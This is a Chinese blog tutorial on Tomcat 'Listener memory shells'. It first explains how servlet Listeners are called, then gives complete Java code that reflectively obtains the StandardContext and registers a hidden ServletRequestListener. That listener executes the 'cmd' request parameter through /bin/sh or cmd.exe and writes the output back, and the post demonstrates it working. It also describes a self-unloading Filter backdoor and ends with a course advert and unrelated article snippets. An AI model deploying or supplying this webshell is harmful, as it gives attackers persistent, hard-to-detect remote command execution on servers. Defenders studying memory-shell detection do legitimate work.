当前位置: 首页 > news >正文

深入底层源码的Listener内存马(内存马系列篇三)

写在前面

继前面的Filter``Servlet内存马技术,这是系列文章的第三篇了,这篇将给大家带来的是Listener内存马技术。

前置

什么是Listener?

监听器 Listener 是一个实现特定接口的 Java 程序,这个程序专门用于监听另一个 Java
对象的方法调用或属性改变,当被监听对象发生上述事件后,监听器某个方法将立即自动执行。

监听器的相关概念:

事件:方法调用、属性改变、状态改变等。

事件源:被监听的对象( 例如:request、session、servletContext)。

监听器:用于监听事件源对象 ,事件源对象状态的变化都会触发监听器。

注册监听器:将监听器与事件源进行绑定

监听器 Listener 按照监听的事件划分,可以分为 3 类:

监听对象创建和销毁的监听器

监听对象中属性变更的监听器

监听 HttpSession 中的对象状态改变的监听器

Listener的简单案例

在Tomcat中创建Listener有两种方式:

使用web.xml中的listener标签创建

使用@WebListener注册监听器

我们创建一个实现了javax.servlet.ServletRequestListener接口的类。

package pres.test.momenshell;import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;public class ListenerTest implements ServletRequestListener {@Overridepublic void requestDestroyed(ServletRequestEvent servletRequestEvent) {System.out.println("destroy Listener!");}@Overridepublic void requestInitialized(ServletRequestEvent servletRequestEvent) {System.out.println("initial Listener!");}
}

将会在请求开始和请求结束分别执行requestInitialized或者requestDestroyed方法中的逻辑,

之后再web.xml中配置Listener。

<listener><listener-class>pres.test.momenshell.ListenerTest</listener-class>
</listener>

之后开启tomcat容器。image-20220911141917981.png

在请求前和请求后都会执行对应逻辑。

Listener流程分析

首先给出程序到requestInitialized方法之前的调用栈。

requestInitialized:14, ListenerTest (pres.test.momenshell)
fireRequestInitEvent:5982, StandardContext (org.apache.catalina.core)
invoke:121, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:698, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:364, CoyoteAdapter (org.apache.catalina.connector)
service:624, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:831, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1673, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

将会到达StandardHostValve#invoke方法。

image-20220911142229473.png

调用了StandardContext#fireRequestInitEvent方法进行请求初始化。

image-20220911142312811.png

在其中,程序通过扫描web.xml中得到了对应的实例化对象,因为我们在web.xml中做出了对应的配置,所以我们能够通过if (instance != null && instance instanceof ServletRequestListener)的判断,进而调用了listener的requestInitialized方法。

即为我们的ListenerTest#requestInitialized方法。

image-20220911142624155.png

正文

有了上面的相关基础,更能加深对内存马的理解。

分析注入

同样在javax.servlet.ServletContext中对于addListener有三种重载方式。

image-20220911144601869.png

image-20220911144652343.png

跟进api中的注解

能够实现的的监听器有:

ServletContextListener:用于监听整个 Servlet 上下文(创建、销毁)

ServletContextAttributeListener:对 Servlet 上下文属性进行监听(增删改属性)

ServletRequestListener:对 Request 请求进行监听(创建、销毁)

ServletRequestAttributeListener:对 Request 属性进行监听(增删改属性)

javax.servlet.http.HttpSessionListener:对 Session 整体状态的监听

javax.servlet.http.HttpSessionAttributeListener:对 Session 属性的监听

每一种 接口有着不同的方法存在,就比如ServletRequestListener这个监听器。

image-20220911151430482.png

存在有requestDestroyedrequestInitialized方法进行请求前和请求后的监听,又或者是ServletRequestAttributeListener这个监听器。

image-20220911151555376.png

存在有attributeAdded``attributeRemoved``attributeReplaced分别对属性增 / 属性删 /
属性替换做出了监听。

但是这些监听器都是继承同一个接口EventListener,我们可以跟进一下addListener在Tomcat中的实现

org.apache.catalina.core.ApplicationContext#addListener中。

image-20220911152543082.png

如果这里传入的是一个ClassName,将会将其进行实例化之后判断是否实现了EventListener接口,也就是是否在监听类中实现了特性的监听器。

如果实现了这个标志接口将会将其强转为EventListener并传入addListener的重载方法。

image-20220911152918128.png

同样和前面类似,不能在程序运行过程中进行Listener的添加,并且如果的监听器是ServletContextAttributeListener ServletRequestListener ServletRequestAttributeListener HttpSessionIdListener HttpSessionAttributeListener的时候将会通过调用StardardContext#addApplicationEventListener添加监听器,

又如果是HttpSessionListener ServletContextListener将会调用addApplicationLifecycleListener方法进行监听器的添加,

通过上面的分析我们不难得到Listener内存马中关于ServletRequestListener 这个监听器的实现步骤:

首先获取到StardardContext对象

之后创建一个实现了ServletRequestListener 接口的监听器类

再然后通过调用StardardContext类的addApplicationEventListener方法进行Listener的添加

实现内存马

有了上面的步骤我们就能够构造内存马

首先通过循环的方式获取StandardContext对象。

ServletContext servletContext = req.getServletContext();
StandardContext o = null;
while (o == null) { //循环从servletContext中取出StandardContextField field = servletContext.getClass().getDeclaredField("context");field.setAccessible(true);Object o1 = field.get(servletContext);if (o1 instanceof ServletContext) {servletContext = (ServletContext) o1;} else if (o1 instanceof StandardContext) {o = (StandardContext) o1;}
}

之后创建一个监听器类, 我这里同样是一段任意代码执行的构造,通过reponse写进行回显操作。

class Mylistener implements ServletRequestListener {@Overridepublic void requestDestroyed(ServletRequestEvent servletRequestEvent) {ServletRequest request = servletRequestEvent.getServletRequest();if (request.getParameter("cmd") != null) {try {String cmd = request.getParameter("cmd");boolean isLinux = true;String osType = System.getProperty("os.name");if (osType != null && osType.toLowerCase().contains("win")) {isLinux = false;}String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();Scanner s = new Scanner(inputStream).useDelimiter("\\a");String output = s.hasNext() ? s.next() : "";Field request1 = request.getClass().getDeclaredField("request");request1.setAccessible(true);Request request2 = (Request) request1.get(request);request2.getResponse().getWriter().write(output);} catch (IOException e) {e.printStackTrace();} catch (NoSuchFieldException e) {e.printStackTrace();} catch (IllegalAccessException e) {e.printStackTrace();}}}@Overridepublic void requestInitialized(ServletRequestEvent servletRequestEvent) {}
}

最后当然就是将Listen添加。

Mylistener mylistener = new Mylistener();
//添加listener
o.addApplicationEventListener(mylistener);

得到完整的内存马。

package pres.test.momenshell;import org.apache.catalina.connector.Request;
import org.apache.catalina.core.StandardContext;import javax.servlet.*;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Scanner;public class AddTomcatListener extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {this.doPost(req, resp);}@Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {try {ServletContext servletContext = req.getServletContext();StandardContext o = null;while (o == null) { //循环从servletContext中取出StandardContextField field = servletContext.getClass().getDeclaredField("context");field.setAccessible(true);Object o1 = field.get(servletContext);if (o1 instanceof ServletContext) {servletContext = (ServletContext) o1;} else if (o1 instanceof StandardContext) {o = (StandardContext) o1;}}Mylistener mylistener = new Mylistener();//添加listenero.addApplicationEventListener(mylistener);} catch (NoSuchFieldException e) {e.printStackTrace();} catch (IllegalAccessException e) {e.printStackTrace();}}
}
class Mylistener implements ServletRequestListener {@Overridepublic void requestDestroyed(ServletRequestEvent servletRequestEvent) {ServletRequest request = servletRequestEvent.getServletRequest();if (request.getParameter("cmd") != null) {try {String cmd = request.getParameter("cmd");boolean isLinux = true;String osType = System.getProperty("os.name");if (osType != null && osType.toLowerCase().contains("win")) {isLinux = false;}String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();Scanner s = new Scanner(inputStream).useDelimiter("\\a");String output = s.hasNext() ? s.next() : "";Field request1 = request.getClass().getDeclaredField("request");request1.setAccessible(true);Request request2 = (Request) request1.get(request);request2.getResponse().getWriter().write(output);} catch (IOException e) {e.printStackTrace();} catch (NoSuchFieldException e) {e.printStackTrace();} catch (IllegalAccessException e) {e.printStackTrace();}}}@Overridepublic void requestInitialized(ServletRequestEvent servletRequestEvent) {}
}

内存马实验

这里同样使用在系列文章第一篇中提到的IndexServlet进行实验。

public class IndexServlet extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {this.doPost(req, resp);}@Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {String message = "Tomcat project!";String id = req.getParameter("id");StringBuilder sb = new StringBuilder();sb.append(message);if (id != null && id != null) {sb.append("\nid: ").append(id); //拼接id}resp.getWriter().println(sb);}
}

将会对传入参数id进行回显

之后配置addTomcatListener路由的Servlet进行内存马的注入。

这是最开始进行访问的情况。

image-20220911155333338.png

访问addTomcatListener路由进行内存马的注入。

image-20220911155411510.png

再次访问/index并传入cmd参数。

image-20220911155459240.png

发现不仅仅回显了我传入的id参数,同样进行了命令的执行。

其他的花样构造

在api中支持的监听器中,还有很多其他的监听器可以进行内存马的实现,这里仅仅是对其中一个比较方法的监听器进行了说明。

比如说ServletRequestAttributeListener这个监听器,在分析注入那里也有所提及,我们通要可以将我们的恶意代码插入在

image-20220911160206439.png

这些方法中进行对应的操作进行内存马的触发。

根据su18提供的一种攻击思路。

由于在 ServletRequestListener 中可以获取到
ServletRequestEvent,这其中又存了很多东西,ServletContext/StandardContext
都可以获取到,那玩法就变得更多了。可以根据不同思路实现很多非常神奇的功能,我举个例子:

  • 在 requestInitialized 中监听,如果访问到了某个特定的 URL,或这次请求中包含某些特征(可以拿到 request
    对象,随便怎么定义),则新起一个线程去 StandardContext 中注册一个 Filter,可以实现某些恶意功能。

  • 在 requestDestroyed 中再起一个新线程 sleep 一定时间后将我们添加的 Filter 卸载掉。

这样我们就有了一个真正的动态后门,只有用的时候才回去注册它,用完就删

总结

也在这里总结一下这三种的执行顺序和特性。

他们的执行顺序分别是Listener > Filter > Servlet

Servlet :在用户请求路径与处理类映射之处,添加一个指定路径的指定处理类;

Filter:在用户处理类之前的,用来对请求进行额外处理提供额外功能的类;

Listener:在 Filter 之外的监听进程。

总的来说Listener内存马比前两篇的危害更大,更具有隐藏性,且能够有更多的构造方式

最后,贴一下我总结的内存马编写流程

  1. 首先获取到StardardContext对象

  2. 之后创建一个实现了ServletRequestListener 接口的监听器类

  3. 再然后通过调用StardardContext类的addApplicationEventListener方法进行Listener的添加

最后

分享一个快速学习【网络安全】的方法,「也许是」最全面的学习方法:
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

在这里插入图片描述

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k。

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取!
扫下方二维码,免费领取

有了这些基础,如果你要深入学习,可以参考下方这个超详细学习路线图,按照这个路线学习,完全够支撑你成为一名优秀的中高级网络安全工程师:

高清学习路线图或XMIND文件(点击下载原文件)

还有一些学习中收集的视频、文档资源,有需要的可以自取:
每个成长路线对应板块的配套视频:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,需要的可以【扫下方二维码免费领取】

相关文章:

深入底层源码的Listener内存马(内存马系列篇三)

写在前面 继前面的FilterServlet内存马技术&#xff0c;这是系列文章的第三篇了&#xff0c;这篇将给大家带来的是Listener内存马技术。 前置 什么是Listener&#xff1f; 监听器 Listener 是一个实现特定接口的 Java 程序&#xff0c;这个程序专门用于监听另一个 Java 对象…...

云端需求助力跑赢周期,金山办公有望借助ChatGPT加速腾飞

与微软在办公领域“搏杀”了三十年的金山办公&#xff0c;或许正在迎来自己的“第二春”。2月25日&#xff0c;金山办公&#xff08;688111&#xff09;发布2022年度业绩快报&#xff0c;全年营收38.85亿元人民币&#xff08;单位下同&#xff09;&#xff0c;同比增加18.44%&a…...

Vulnhub靶场----8、DC-8

文章目录一、环境搭建二、渗透流程三、思路总结一、环境搭建 DC-8下载地址&#xff1a;https://download.vulnhub.com/dc/DC-8.zip kali&#xff1a;192.168.144.148 DC-8&#xff1a;192.168.144.156 二、渗透流程 1、信息收集nmap -T5 -A -p- -sV -sT 192.168.144.156思路&am…...

Makefile 和 Shell 脚本的区别与联系

以下内容转载于博客Makefile 和 shell 脚本的区别与联系&#xff0c;有删改与内容添加。 参考内容&#xff1a;初学Makefile指南 一、什么是 Makefile&#xff1f; Makefile 描述了整个工程的编译、链接规则。当源码文件比较多的时候就不适合通过输入 gcc 命令来编译&#xf…...

java25种设计模式之工厂模式

Java设计模式 - 工厂模式 工厂模式是一种创建模式&#xff0c;因为此模式提供了更好的方法来创建对象。 在工厂模式中&#xff0c;我们创建对象而不将创建逻辑暴露给客户端。 例子 在以下部分中&#xff0c;我们将展示如何使用工厂模式创建对象。 由工厂模式创建的对象将是…...

力扣-2020年最后一次登录

大家好&#xff0c;我是空空star&#xff0c;本篇带大家了解一道简单的力扣sql练习题。 文章目录前言一、题目&#xff1a;1890. 2020年最后一次登录二、解题1.正确示范①提交SQL运行结果2.正确示范②提交SQL运行结果3.正确示范③提交SQL运行结果4.正确示范④提交SQL运行结果5.…...

[蓝桥杯] 数学与简单DP问题

文章目录 一、简单数学问题习题练习 1、1 买不到的数目 1、1、1 题目描述 1、1、2 题解关键思路与解答 1、2 饮料换购 1、2、1 题目描述 1、2、2 题解关键思路与解答 二、DP问题习题练习 2、1 背包问题 2、1、1 题目描述 2、1、2 题解关键思路与解答 2、2 摘花生 2、2、1 题目…...

浏览器的渲染过程解析

文章目录浏览器渲染进程有哪些&#xff1f;浏览器的渲染过程浏览器渲染进程有哪些&#xff1f; GUI线程&#xff1a;负责渲染浏览器页面&#xff0c;解析html&#xff0c;css&#xff0c;构建DOM树&#xff0c;CSS规则树&#xff0c;渲染树和绘制页面&#xff0c;当界面需要重…...

【C++容器】std::fstream读写文件错误【2023.03.03】

std::fstream使用细节 1.文件不存不支持时打开文件模式不得有ios::in • 如果文件不存在且打开时包括了ios::in模式则打开文件会失败。 fstream m_f;m_f.open("d://123.csv", ios::in | ios::out | ios::binary);//文件不存在则会打开失败• 我这边尝试行得通的做…...

UVM实战--带有寄存器的加法器

一.整体的设计结构图 这里将DUT换成加法器&#xff0c;可以理解为之前UVM加法器加上寄存器&#xff0c;这里总线的功能不做修改&#xff0c;目的看代码的移植那些部分需要修改。 二.各个组件代码详解 2.1 DUT module dut( input clk, input rst_n, input…...

笔记--学习mini3d代码

主要是记录学习mini3d代码时&#xff0c;查的资料&#xff1b; 从github下载的代码&#xff1a; GitHub - skywind3000/mini3d: 3D Software Renderer in 700 Lines !!3D Software Renderer in 700 Lines !! Contribute to skywind3000/mini3d development by creating an a…...

图片服务器

文章目录一、项目简介二、功能及场景三、业务设计四、数据库设计准备图片表准备实体类五、API设计常用功能封装文件上传文件上传获取图片列表接口获取图片内容删除图片接口六、项目优化七、测试自动化测试测试用例一、项目简介 图片服务器&#xff1a;解决项目中插入图片的问题…...

【JAVA程序设计】【C00110】基于SSM(非maven)的车辆维修管理系统

基于SSM&#xff08;非maven&#xff09;的车辆维修管理系统项目简介项目获取开发环境项目技术运行截图项目简介 基于ssm框架非maven开发的车辆维修管理系统共分为三个角色&#xff1a;管理员、用户 管理员角色包含以下功能&#xff1a; 查看用户、添加用户、查看车辆信息、故…...

微积分小课堂:用动态的眼光去找问题的最优解(最大值/最小值)【中学里的解题技巧】

文章目录 引言I 最优化问题1.1 不同形式的最优化1.2 用动态的眼光去找问题的最优解引言 把比较数大小的问题,变成了寻找函数变化拐点的问题,将这两个问题等同起来,需要发明一种工具,叫做导数。有了导数这个工具,求最大值问题就变成了解方程的问题。 用变化的眼光找到最优…...

网络爬虫和相关工具

在理想的状态下&#xff0c;所有ICP&#xff08;Internet Content Provider&#xff09;都应该为自己的网站提供API接口来共享它们允许其他程序获取的数据&#xff0c;在这种情况下爬虫就不是必需品&#xff0c;国内比较有名的电商平台&#xff08;如淘宝、京东等&#xff09;、…...

OSSFs挂载工具简介

OSSFs挂载工具 OSSFs挂载工具简介 ​ ossfs允许您在Linux系统中将对象存储OSS的存储空间&#xff08;Bucket&#xff09;挂载到本地文件系统。挂载完成后&#xff0c;您能够像操作本地文件一样操作OSS的对象&#xff08;Object&#xff09;&#xff0c;从而实现数据共享。 ​…...

Spring 容器创建初始化,获取bean流程分析

Spring 容器创建初始化&#xff0c;获取bean流程分析 Spring 容器创建初始化 流程分析 1、首先读取bean.xml 文件 2、扫描指定的包 com.hspedu.spring.component 2.1、扫描包&#xff0c;得到bean的class对象&#xff0c;排除包下不是bean的 2.2、扫描将bean信息封装BeanDef…...

无聊小知识.03 Springboot starter配置自动提示

1、前言Springboot项目配置properties或yaml文件时候&#xff0c;会有很多spring相关的配置提示。这个是如何实现的&#xff1f;如果我们自己的配置属性&#xff0c;能否也自动提示&#xff1f;2、Springboot配置自动提示其实IDE是通过读取配置信息的元数据而实现自动提示的。S…...

2023-03-03 mysql-join类别-分析

目录 摘要: mysql版本: DDL: 表结构: 插入数据: JOIN: 一. SELECT 二. INNER JOIN...

Saleen 系列来袭!

由 Ghostopunch 创作&#x1f47b;&#x1f94a; Ghostpunch 将 Saleen Automotive 带入 The Sandbox 元宇宙&#xff01; 是 Saleen Automotive 于 1984 年由汽车界的梦想家 Steve Saleen 创立&#xff0c;目标是将经过比赛验证的性能带入大街小巷和元宇宙……&#x1f609; 5…...

如何优雅地处理Java中的null值?使用Optional类来实现!

当我们在Java编程时&#xff0c;经常会遇到处理null值的问题。在Java 8中&#xff0c;引入了一个Optional类来解决这个问题。Optional类可以看作是一个容器&#xff0c;用于包装一个可能为null的值。它提供了一些方便的方法&#xff0c;以优雅地处理null值的情况。 下面我将详…...

巾帼绽芬芳 一起向未来(中篇)

编者按&#xff1a;为了隆重纪念纪念“三八”国际妇女节113周年&#xff0c;快来与你全方位、多层次分享交流“三八”国际妇女节的前世今生。分上篇&#xff08;节日简介、节日发展和节日意义&#xff09;、中篇&#xff08;节日活动宗旨和世界各国庆祝方式&#xff09;和下篇&…...

espnet training

from:ESPnet2 — ESPnet 202301 documentation from :Change the configuration for training — ESPnet 202301 documentation 训练完之后微调的命令: ./run.sh --stage 11 --ngpu 1 --asr_args "--max_epoch 205 --optim_conf lr=0.1 --resume true" --asr_exp…...

qsort函数的应用以及模拟实现

前言 &#x1f388;个人主页:&#x1f388; :✨✨✨初阶牛✨✨✨ &#x1f43b;推荐专栏: &#x1f354;&#x1f35f;&#x1f32f; c语言进阶 &#x1f511;个人信条: &#x1f335;知行合一 &#x1f349;本篇简介:>:介绍库函数qsort函数的模拟实现和应用 金句分享: ✨追…...

【iobit 软件】家族系列 - 正版激活码

装机必备iobit系列软件 - 激活码获取看最后 第一款、Advanced SystemCare 16 您需要的人工智能驱动的PC优化器&#xff0c;以释放磁盘空间&#xff0c;加速PC并保护在线隐私。 功能特点&#xff1a; 1. 系统清理与优化&#xff1a;通过清除系统垃圾文件、注册表信息、无用文…...

ACM-大一训练第三周(Floyd算法+并查集算法专题训练)

&#x1f680;write in front&#x1f680; &#x1f4dd;个人主页&#xff1a;认真写博客的夏目浅石.CSDN &#x1f381;欢迎各位→点赞&#x1f44d; 收藏⭐️ 留言&#x1f4dd;​ &#x1f4e3;系列专栏&#xff1a;ACM周训练题目合集.CSDN &#x1f4ac;总结&#xff1a…...

taobao.item.sku.update( 更新SKU信息 )

&#xffe5;开放平台免费API必须用户授权 *更新一个sku的数据 *需要更新的sku通过属性properties进行匹配查找 *商品的数量和价格必须大于等于0 *sku记录会更新到指定的num_iid对应的商品中 *num_iid对应的商品必须属于当前的会话用户 公共参数 请求地址: HTTP地址 http://gw.…...

ros2创建一个工程

第一步&#xff1a;创建src目录 $ mkdir ros2-demo $ cd ros2-demo/ $ mkdir src $ cd src/第二步&#xff1a;创建功能包cd src$ ros2 pkg create --build-type ament_cmake ros2_demo --dependencies rclcpp std_msgsros2 pkg create --build-type ament_python learning_pkg…...

【力扣】stack容器的探索之有效的括号

作者&#xff1a;狮子也疯狂 专栏&#xff1a;《算法详解》 愿你生如夏花之绚烂&#xff0c;幸运永远与你相伴&#xff0c;疯狂常在。 目录一. &#x1f981; Stack容器的来历1.1 操作栈的方法二. &#x1f981; Stack的使用2.1 题目2.2 分析2.3 详细算法实现2.4 力扣AC截图三…...

【Elsevier出版社】中科院2区,SCIEEI 双检,已有发表案例,3个月左右录用

1区智能传感器类SCIE&EI 【期刊简介】IF&#xff1a;5.0-6.0&#xff0c;JCR1区&#xff0c;中科院2区&#xff0c;SCI&EI 双检&#xff0c;正刊 【参考周期】3个月左右录用 【截稿日期】2023.5.30 【征稿领域】有关人工智能与传感器的相关研究均可 包括但不限于&#…...

东莞网站优化方案/百度纯净版首页入口

概述 Spot Light&#xff08;聚光源&#xff09; 从锥形空间中的一个单独的点处发出光照。它为用户提供了两个锥体来塑造光源- 内锥角 和 外锥角 。在 内锥角 中&#xff0c;光源达到最大亮度&#xff0c;形成一个亮盘。在而从内锥角到外锥角&#xff0c;光照会发生衰减&#x…...

青岛seo整站优化公司/seo推广人员

我是以Python开门的&#xff0c;我还是觉得Python也可以进行地形三维可视化&#xff0c;当然这里需要借助第三方库&#xff0c;so&#xff0c;我就来介绍&#xff1a;Python一个很重要可视化插件&#xff0c;Matplotlib。 Matplotlib是Python最著名的绘图库&#xff0c;它提供了…...

网店怎么运营/百度seo推广怎么收费

文字是人类用来记录语言的符号系统。随着社会的发展&#xff0c;文字已经摆脱了在纸张上&#xff0c;版面上的简单呈现模式&#xff0c;当下的数码产品中有着更为丰富的应用。 大家都知道&#xff0c;界面效果虽然日趋拟物化和平面化&#xff0c;但现在往往很多细节还是脱离不…...

搜索公众号/郑州seo优化服务

Apache 出现 500 Internal Server Error 报错 小编在学习 TP5.1 框架时&#xff0c;按照开发文档对 Apache 的 httpd.conf 文档稍作修改后出现了以下错误&#xff1a; 百度了一下&#xff0c;获得了一下说法&#xff1a; 打开网站出现500 Internal server error 错误&#xf…...

创建网络平台/seo网站外链平台

MySQL官网&#xff1a;http://www.mysql.com MySQL是WEB应用方面最好的RDBMS应用软件之一 RDBMS&#xff1a;Relational Database Management System关系数据库管理系统 兄弟连学python(1)——MySQL 使用 UNION | UNION ALL 语法 UNION 用于合并多个查询的结果集&#xff0c;我…...

网站建设 pdf/快速seo关键词优化技巧

所谓的5S是指整理&#xff08;SEIRI&#xff09;、整顿&#xff08;SEITON&#xff09;、清扫&#xff08;SEISO&#xff09;、清洁&#xff08;SEIKETSU&#xff09;、素养&#xff08;SHITSUKE&#xff09;等五个项目。 1S&#xff0d;整理&#xff08;Seiri&#xff09; 整…...